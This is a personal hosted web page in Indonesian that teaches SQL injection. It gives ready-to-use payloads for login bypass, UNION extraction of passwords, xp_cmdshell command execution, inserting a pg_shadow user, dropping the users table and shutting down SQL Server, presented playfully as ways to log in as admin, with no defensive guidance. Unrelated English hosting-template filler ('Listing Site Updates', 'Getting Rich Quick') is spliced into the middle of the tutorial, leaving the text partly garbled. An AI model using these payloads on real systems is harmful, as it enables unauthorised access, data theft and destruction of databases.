Free Web Site - Free Web Space and Site Hosting - Web Hosting - Internet Store and Ecommerce Solution Provider - High Speed Internet
Search the Web

HOME

FAQIH.i8.COM DAFTAR My Photos HOME LINK Favorite Links

Teknik SQL Injection

SQL Injection adalah sebuah teknik merubah perintah SQL yang ada untuk memperoleh akses ke data yang dilindungi atau bahkan mengeksekusi perintah yang menyangkut sistem pada suatu webserver.
Serangan ini mengandalkan rutin validasi input yang tidak dilindungi.
Seluruh Database merupakan komponen dasar dari aplikasi berbasiskan Web. Hal ini menjadikan website dapat menyimpan data seperti informasi user, rekaman pelanggan, berbagai form isian tertentu.
Aplikasi web yang interaktif berbasiskan database menggunakan Structured Query Language (SQL) yang secara dinamis berisikan data yang dikostumisasi sesuai kebutuhan user. Hal ini disempurnakan dengan aplikasi yang mengambil input user dan mengombinasikan dengan parameter statis untuk membangun sebuah query SQL. Query ini biasanya digunakan untuk memanggil kembali data yang diminta dari database yang kemudian menyajikannya ke hadapan user.
Model keamanan seperti banyak digunakan pada aplikasi web dengan anggapan bahwa sebuah Query SQL adalah perintah yang dapat dipercaya. Artinya bahwa Query SQL mampu mencegah kendali akses, yang mana harus melalui otentikasi standar dan pemeriksaan otorisasi. Dalam beberapa hal, Query SQL mengijinkan akses ke perintah-perintah tingkat operating sistem pada suatu Host. (Wouuwww!!!)

Ekploitasi Yang Terjadi
Beberapa aplikasi yang tidak melakukan validasi dan/atau sanitasi data input user secara benar dapat dieksploitasi dengan beberapa cara:
        www.detik.com
Perubahan Nilai-nilai SQL
- Hubungan Berbagai Statement SQL
- Menambahkan fungsi pemanggilan dan penyimpanan prosedur ke sebuah statement

Peranan dan Hubungan pemanggilan data
Contoh - Perubahan Nilai-nilai SQL

Pada program Mysql-Query:
UPDATE usertable SET pwd='$INPUT[pwd]' WHERE uid='$INPUT[uid]';

Pengaksesan melalui Browser:
http://www.target.com/script?pwd=ngomo&uid=1'+or+uid+like'%25admin%25';--%00

Contoh - Menghubungkan berbagai SQL Statement
Pada program PostgreSql-Query:
SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';

Pengaksesan melalui Browser:
http://www.target.com/script?0';insert+into+pg_shadow+usename+values+('hoschi');--

Contoh - Menambahkan fungsi calls dan stored-procedures ke sebuah statement
Pada program MS SQL-Query:
SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';

Pengaksesan melalui Browser:
http://www.target.com/script?0';EXEC+master..xp_cmdshell(cmd.exe+/c);--

Contoh - Peranan dan Hubungan pemanggilan data
Pada Program DB2-Query:
SELECT id,t_nr,x_nr,i_name,last_update,size FROM p_table WHERE size = '$INPUT[size]';

Pengaksesan melalui Browser:
http://www.target.com/script?size=0'+union+select+'1','1','1',concat(uname||'-'|| passwd)+as+i_name+'1'+'1'+from+usertable+where+uname+like+'25

Beberapa Contoh Ekploitasi pada SQL Server :
Contoh #1
Microsoft SQL Server memiliki dialek tersendiri dalam SQL, yang mana menggunakan Transact SQL (TSQL). Dalam hal ini kita dapat mengekploitasi kehebatan dari TSQL dengan beberapa cara sekedar untuk menunjukkan cara kerja SQL Injection. Perhatikan query berikut ini, yang berbasiskan suatu table user :
select userName from users where userName='' having 1=1

Jika Anda adalah seorang programmer SQL yang mahir, maka anda akan menyadari bahwa query ini menimbulkan suatu error. Kita dapat dengan mudah membuat halaman login.asp suatu database sasaran, yang menggunakan pengecekan login berikut:
Username: ' having 1=1 –-
Password: [sembarang]

Listing Site Updates

Under one of these subheadings, it's a good idea to list recent updates to my site so that visitors, especially return visitors, can check out the new stuff first. For example, I could list the date and a brief description of the update.

I could also list updated news about my site's topic. For example, if my site were about a particular sport, I'd could discuss the outcome of a recent competition.

selanjutnya......................

Sewaktu Anda mengclick tombol Submit untuk memulai proses login, query SQL menyebabkan script ASP menampilkan pesan berikut ini ke browser:

Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/login.asp, line 16

Wah wah. Hal ini terlihat pada pesan kesalahan yang mengatakan bahwa user tidak terotorisasi (tidak berhak) terdapat satu field dari database yang dicoba untuk divalidasi. users.username. Dengan menggunakan nama field ini, kita sekarang dapat menggunakan kata kuncinya SQL Server untuk login sebagai berikut:

Username: ' or users.userName like 'a%' –-
Password: [Sembarang]

sekali lagi, hal ini menghasilkan sebuah query SQL terinjeksi yang ditampilkan terhadap table user tersebut.

select userName from users where userName='' or users.userName like 'a%' --' and userPass=''

Mengingat kembali saat kita membuat table user, kita juga membuatkan seorang user yang field username sebagai admin dan field userpass password. Log in dengan username dan password seperti yang ditunjukkan diatas menggunakan kata kunci SQL query untuk mendapatkan username, query tersebut menangkap field username pada baris pertama yang field username-nya dimulai dengan huruf a, yang bisa jadi adalah admin:

Logged In As admin
Selamat login sebagai admin dech. (hehehe)

Contoh #2
SQL Server diantara database yang lain nya memisahkan query dengan sebuah semi- colon. Mengguankan sebuah semi-colon mengijinkan beberapa query untuk dikirimkan sebagai satu paket dan dieksekusi secara bergantian, sebagai contoh:

select 1; select 1+2; select 1+3;

... akan mengembalikan tiga recordset. Pertama berisikan nilai 1, kedua berisikan nilai 3, dan ketiga berisikan nilai 4 dst. Jadi, jika kita login dengan validasi berikut ini:

Username: ' or 1=1; drop table users; --
Password: [sembarang]

Kemudian query akan mengeksekusi dalam dua bagian. Pertama, akan memilih field username untuk slmuar baris dalam table user. Kedua, akan menghapus table user, hal ini berarti dilain waktu kita login, kita akan melihat error berikut ini:
Microsoft OLE DB Provider for SQL Server (0x80040E37)
Invalid object name 'users'.
/login.asp, line 16

Contoh #3
Contoh terakhir sehubungan dengan form login yang akan kita diskusikan adalah mengenai eksekusi dari perintah khusus TSQL dan ESP (Extended Stored Procedures) atau prosedur penyimpanan yang diperluas. Banyak situs yang menggunakan user account sistem default, yang sewaktu login ke SQL Server dari script ASP mereka atau aplikasi lainnya. Secara default, user ini mengakses ke seluruh perintah dan dapat menghapus, mengganti nama dan menambahkan database, tabel, eksekusi program dsb.

Satu dari perintah SQL Server yang tergolong "Powerful" adalah SHUTDOWN WITH NOWAIT, yang akan menyebabkan SQL Server mati, menghentikan Windows Service. Untuk merestart SQL Server setelah perintah ini adalah perkara yang tidak mudah, Anda harus menggunakan SQL service manager atau beberapa metode lain dari proses restart SQL Server.

Sekali lagi, perintah ini dapat dieksploitasi dengan contoh login dibawah ini:
Username: '; shutdown with nowait; --
Password: [Sembarang]

Getting Rich Quick--From My Site!

I might not want a large amount of text on my home page if I want to guide visitors toward my other pages. Instead of text, I can add others' buttons to this first page, and I'll be rewarded for people who click on the buttons. For example, if a visitor signs up for a Visa using the NextCard button on my site, I earn at least $20!

Behind the Scenes of My Home Page

Even if I don't put much text on my home page, it's a good idea to include hidden tools that will help me promote my site, so people other than my friends and family actually see it. For example, I could add meta tags, which are hidden codes that allow search engines to find my site. I could also install stats and a counter so I know how many people are visiting. If not many are visiting, submitting my site to search engines will guide more traffic to my site.

www..nurfaqih.i8.com    www.telkom.com   www.telkomseppedy.com

www.jawapos.co.id   www.detik.com E-mail :  smk_telkom@yahoo.co.id

E-mail:faqih@telkomnet.com  www.nurcantik.i8.com  www.smktelkomsabilillah.com